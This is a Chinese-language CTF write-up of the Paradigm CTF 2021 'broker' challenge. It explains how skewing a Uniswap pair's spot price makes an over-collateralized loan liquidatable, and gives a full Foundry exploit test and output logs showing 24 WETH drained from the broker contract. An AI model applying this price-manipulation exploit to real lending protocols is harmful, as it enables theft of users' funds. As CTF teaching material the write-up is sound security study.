04.broker
2023-09-18 11:10:22 # 19.Paradigm CTF 2021

broker

分析

1.全局观

  • Broker.sol
    • IUniswapV2Pair:接口
    • ERC20Like:接口
    • WETH9:接口
    • Broker:
      • 属性:交易对池子、WETH、用于清算的token,记录存取款的mapping
      • 存款、取款、借款、还款
      • 清算机制:阈值是2/3
  • Setup.sol
    • Token:ERC20合约,有空投方法(只能领取一次),除此之外只有转账和授权方法
    • IUniswapV2Factory:接口
    • Setup:
      • 属性:WETH、UniswapV2Factory、用于清算的token、交易对池子、broker
      • 初始化题目

2.任务

使得broker合约的WETH余额小于5 ether

1
2
3
function isSolved() public view returns (bool) {
return weth.balanceOf(address(broker)) < 5 ether;
}

3.详细分析

3.1资产与池子

先看看题目初始化情况:初始化池子(比例为20_000: 1),broker合约资产情况初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// create and bootstrap the token/weth pool for borrowing against WETH
constructor() payable {
// 本合约拥有 50 ether
require(msg.value == 50 ether);
// 本合约在WETH合约拥有 50 ether
weth.deposit{value: msg.value}();

// 新建一个用于清算的token
token = new Token();
// 创建交易对池子:WETH 和 Ltoken
pair = IUniswapV2Pair(factory.createPair(address(weth), address(token)));
// 创建Broker
broker = new Broker(pair, ERC20Like(address(token)));
// 本合约将一半的Ltoken转给broker
token.transfer(address(broker), 500_000 * DECIMALS);

// 1:25
// 本合约向池子转25WETH
weth.transfer(address(pair), 25 ether);
// 本合约向池子转2500_000个Ltoken
token.transfer(address(pair), 500_000 * DECIMALS);
// 此时池子的比例:500_000:25 = 20_000: 1

// 因为本合约提供了流动性,因此mint LPtoken给本合约
pair.mint(address(this));

// 本合约授权:broken可以操作本合约在WETH的资产
weth.approve(address(broker), type(uint256).max);
// 本合约在broker中存款25ether
broker.deposit(25 ether);
// 本合约在broker中取款250_000数量的Ltoken
broker.borrow(250_000 * DECIMALS);

// 总资产:broker的WETH余额 + broker在Ltoken的安全余额
totalBefore = weth.balanceOf(address(broker)) + token.balanceOf(address(broker)) / broker.rate();
}

我们来捋一下资产情况:

资产 授权情况 在Broker存款记录 在Broker借款记录 阈值 健康状态
Setup 满额LPtoken, 250_000Ltoken WETH: broker==> MAX deposited:25WETH debt:250_000Ltoken ~333_333 ~16_666
Broker 250_000Ltoken, 25WETH
WETH
Ltoken

池子:

WETH Ltoken 比例 Broker的rate
池子 25 500_000 20_000: 1 20_000 * (2 / 3)~=13_333

3.2漏洞发掘

了解了题目初始化的资产情况和池子的情况之后,我们很清楚我们该改什么,将Broker持有的25WETH减少到不足5WETH即可。那么在本题,肯定是利用池子进行操作。

我们作为玩家,什么都没有,但我们可以获取Ltoken的空投,拿到这笔钱,就有干大事的可能性了哈哈。一个用户只能领取一次,一次10Ltoken,但是没有空投没有额度限制,就是说,我们可以创建多个账户,薅羊毛,然后再发到一个账户,理论上我可以获得无限的Ltoken。

1
2
3
4
5
6
function airdrop() public {
require(!dropped[msg.sender], "err: only once");
dropped[msg.sender] = true;
balanceOf[msg.sender] += AMT;
totalSupply += AMT;
}

我拥有无限的Ltoken,那么我就可以控制池子的价格:用Ltoken换WETH,使得WETH价格大涨,我拿到几乎25WETH,而池子中的WETH几乎归零。

但这样跟我们想做的相反,WETH大涨,那么Setup就无法被清算,因此我们应该是增加池子中的WETH数量,导致WETH降价,从而被清算,还记得上一题,我们一开始就拥有5000ETH,那么我们可以全部换成WETH,然后控制池子的价格,让Setup被清算。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 清算
function liquidate(address user, uint256 amount) public returns (uint256) {
// 负债大于质押,可清算
require(safeDebt(user) <= debt[user], "err: overcollateralized");
// 清算借款人的一定数量amount金额,用token清算
debt[user] -= amount;
token.transferFrom(msg.sender, address(this), amount);

// 清算人得到WETH,不过是得到 2/3 amount 的WETH
uint256 collateralValueRepaid = amount / rate();
weth.transfer(msg.sender, collateralValueRepaid);
return collateralValueRepaid;
}

这么一来,空投那个函数便没有啥作用了,应该是用来迷惑玩家的。

3.3漏洞利用

让我们来计算一下应该怎么操纵价格.

Setup借了250_000Ltoken,那么安全的价格根据公式deposited[user] * rate() * 2 / 3得到rate()为:15000,因此WETH的价格应该为15000个Ltoken或者更少,否则无法被清算。

达到清算阈值之后,我们想办法清算一定数量,然后让Broker转出去20~25个代币即可,不能多也不能少,多了余额不足报错,少了完成不了题目。清算的时候Broker是这样计算转出去的WETH数量的

1
2
3
4
5
6
7
// 清算人得到WETH
// 实际清算的WETH数量 * WETH价格 = 清算的WETH数量
// 那么,amount设置为:想要清算的数目n * rate() = y
// amount / rate() = y / rate() = n * rate() / rate() = n
// 这样就想扣除Broker多少WETH就扣除多少(n)
uint256 collateralValueRepaid = amount / rate();
weth.transfer(msg.sender, collateralValueRepaid);

因此,我们如果想要扣除Broker25个WETH,这么计算即可:

1
2
uint amount_liquidate = 25 ether * broker.rate();
broker.liquidate(address(level), amount_liquidate);

控制价格的时候,要把价格控制到15000以下,选择一个合适的价格,并且在swap之后拥有足够数量的Ltoken,因为清算的时候需要足够的token。

思路:

  1. 存款ETH获得WETH
  2. 在池子中交易:用WETH买Ltoken,导致WETH降价,Ltoken涨价
  3. 清算

小插曲

因为比赛已经过去,只能本地模拟它的比赛环境。在用foundry部署的时候,遇到了不少问题,也学到了不少:

  • 比赛的时候,给的WETH、factory、router地址是固定的,因此我需要重新部署一个uniswapV2系统。但这就导致了Broker计算价格的时候函数rate()顺序错误,然后在Setup合约初始化的时候borrow()报错。原因是:uniswapV2根据币对进行排序,我在本地部署出来的地址不一样,导致sort排序币对之后结果不一样,因此需要修改比对价格计算位置。
  • 进行swap的时候,一直显示EVM error revert问题,问题找了六七个小时,一步一步排查不断在UniswapV2的源代码中调试require(false, "test"),最终,在router.B2library.sol中的pairFor计算币对地址的地方找到错误:Setup合约在createPair()的时候计算出来的地址和swap的时候进入library.pairFor()计算出来的结果不一样。原因是:library.pairFor()是利用CREATE2原理链下计算pair地址的,其中硬编码了bytecode的哈希值,但是,我部署的uniswapV2系统编译出来的bytecode然后hash得到的哈希值和uniswapV2官方的不一样,因此在swap的时候找不到币对然后报错EVM error revert。编译器版本相同、源代码相同,但是编译出来的bytecode也有可能不一样!

解题

因为是本地部署foundry模拟题目环境,因此题目的代码稍微改动了一点,但效果是差不多的,考点也一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;

import "forge-std/Test.sol";
import "../../src/04.broker/Setup.sol";
import "./uniswapV2/erc20.sol";
import "./uniswapV2/factory.sol";
import "./uniswapV2/pair.sol";
import "./uniswapV2/router.sol";
import "./interface.sol";

contract attackTest is Test {
string constant weth9_Artifact = 'out/helper_WETH9.sol/WETH9.json';

Setup public level;
IWETH9 public weth;
Broker public broker;

// uniswapV2系统
Iu_factory u_factory;
Iu_router u_router;
Token Ltoken;
IPair pair;

function setUp() public {
// 创建WETH9合约
weth = IWETH9(deployHelper_weth(weth9_Artifact));
vm.label(address(weth), "weth");

// 创建uniswapV2系统

// 部署u_factory
u_factory = Iu_factory(deployHelper_u_factory());
vm.label(address(u_factory), "u_factory");

// 部署u_router
u_router = Iu_router(deployHelper_u_router(address(u_factory), address(weth)));
vm.label(address(u_router), "u_router");

// 初始化题目合约
level = new Setup{value: 50 ether}(address(weth), address(u_factory));
vm.label(address(level), "level");

broker = level.broker();
vm.label(address(broker), "broker");
Ltoken = level.token();
vm.label(address(Ltoken), "Ltoken");

// 标记pair
pair = IPair(pairFor(address(u_factory), address(Ltoken), address(weth)));
vm.label(address(pair), "pair");
}

function test_isComplete() public payable{

// 获得一些WETH,用来在池子里swap
uint256 amount_WETH = 25 ether;
weth.deposit{value: amount_WETH}();

console.log("==========before attack=========");
(uint112 reserve0_before, uint112 reserve1_before , uint32 z ) = pair.getReserves();
console.log("the pool");
console.log(" reserve0_WETH_before",reserve0_before);
console.log(" reserve1_Ltoken_before",reserve1_before);
console.log("My asset");
console.log(" WETH", weth.balanceOf(address(this)));
console.log(" Ltoken", Ltoken.balanceOf(address(this)));
console.log("WETH price", broker.rate());
console.log("liquidate's WETH price 15000");
console.log("broker's WETH", weth.balanceOf(address(broker)));

// 准备
weth.approve(address(broker), type(uint256).max);
weth.approve(address(u_router), type(uint256).max);
Ltoken.approve(address(broker), type(uint256).max);
Ltoken.approve(address(u_router), type(uint256).max);

// 把WETH换成Ltoken
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(Ltoken);
u_router.swapExactTokensForTokens(amount_WETH, 0, path, address(this), type(uint256).max);

console.log();
console.log("======after swap 25WETH for Ltoken======");
(uint112 reserve0_afterSwap, uint112 reserve1_afterSwap , uint32 zx ) = pair.getReserves();
console.log("the pool");
console.log(" reserve0_WETH_after",reserve0_afterSwap);
console.log(" reserve1_Ltoken_after",reserve1_afterSwap);
console.log("My asset");
console.log(" WETH", weth.balanceOf(address(this)));
console.log(" Ltoken", Ltoken.balanceOf(address(this)));
console.log("WETH price",broker.rate());
console.log("broker's WETH",weth.balanceOf(address(broker)));

// 开始清算
uint amount_liquidate = 24 ether * broker.rate();
broker.liquidate(address(level), amount_liquidate);

console.log();
console.log("==========after liquidate=========");
(uint112 reserve0_afterLiquidate, uint112 reserve1_afterLiquidate , uint32 zzz ) = pair.getReserves();
console.log("the pool");
console.log(" reserve0_WETH_after",reserve0_afterLiquidate);
console.log(" reserve1_Ltoken_after",reserve1_afterLiquidate);
console.log("My asset");
console.log(" WETH", weth.balanceOf(address(this)));
console.log(" Ltoken", Ltoken.balanceOf(address(this)));
console.log("WETH price",broker.rate());
console.log("broker's WETH",weth.balanceOf(address(broker)));

assertEq(level.isSolved(), true);
}

function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);

pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
// 这个是我编译出来的bytecode的哈希值
hex'f0e60e1779ec5ef88ad36bab3e3e0cad28189353ab5bf1f719a2855de1c74e52' // init code hash
)))));
}
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}

// 部署WETH
function deployHelper_weth(string memory what) public returns (address addr) {
bytes memory bytecode = vm.getCode(what);
assembly {
addr := create(0, add(bytecode, 0x20), mload(bytecode))
}
}

// 部署u_ERC20
function deployHelper_u_ERC20() public returns (address addr) {
bytes memory bytecode = BYTECODE_erc20;
assembly {
addr := create(0, add(bytecode, 0x20), mload(bytecode))
}
}

// 部署u_factory
function deployHelper_u_factory() public returns (address addr) {
bytes memory bytecode = BYTECODE_factory;
// 构造器有参数
bytes memory bytecode_withConstructor = abi.encodePacked(bytecode, abi.encode(address(msg.sender)));
assembly {
addr := create(0, add(bytecode_withConstructor, 0x20), mload(bytecode_withConstructor))
}
}

// 部署u_router
function deployHelper_u_router(address _u_factory, address _weth) public returns (address addr) {
bytes memory bytecode = BYTECODE_router;
// 构造器有参数
bytes memory bytecode_withConstructor = abi.encodePacked(bytecode, abi.encode(address(_u_factory), address(_weth)));
assembly {
addr := create(0, add(bytecode_withConstructor, 0x20), mload(bytecode_withConstructor))
}
}

}
1
2
3
4
5
6
7
8
9
10
E:.
│ attackTest.sol
│ helper_WETH9.sol
│ interface.sol

└─uniswapV2
erc20.sol
factory.sol
pair.sol
router.sol

输出结果:一开始的25WETH是自己存的,后面的24WETH是broker发给我的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Logs:
==========before attack=========
the pool
reserve0_WETH_before 25000000000000000000
reserve1_Ltoken_before 500000000000000000000000
My asset
WETH 25000000000000000000
Ltoken 0
WETH price 20000
liquidate's WETH price 15000
broker's WETH 25000000000000000000

======after swap 25WETH for Ltoken======
the pool
reserve0_WETH_after 50000000000000000000
reserve1_Ltoken_after 250375563345017526289435
My asset
WETH 0
Ltoken 249624436654982473710565
WETH price 5007
broker's WETH 25000000000000000000

==========after liquidate=========
the pool
reserve0_WETH_after 50000000000000000000
reserve1_Ltoken_after 250375563345017526289435
My asset
WETH 24000000000000000000
Ltoken 129456436654982473710565
WETH price 5007
broker's WETH 1000000000000000000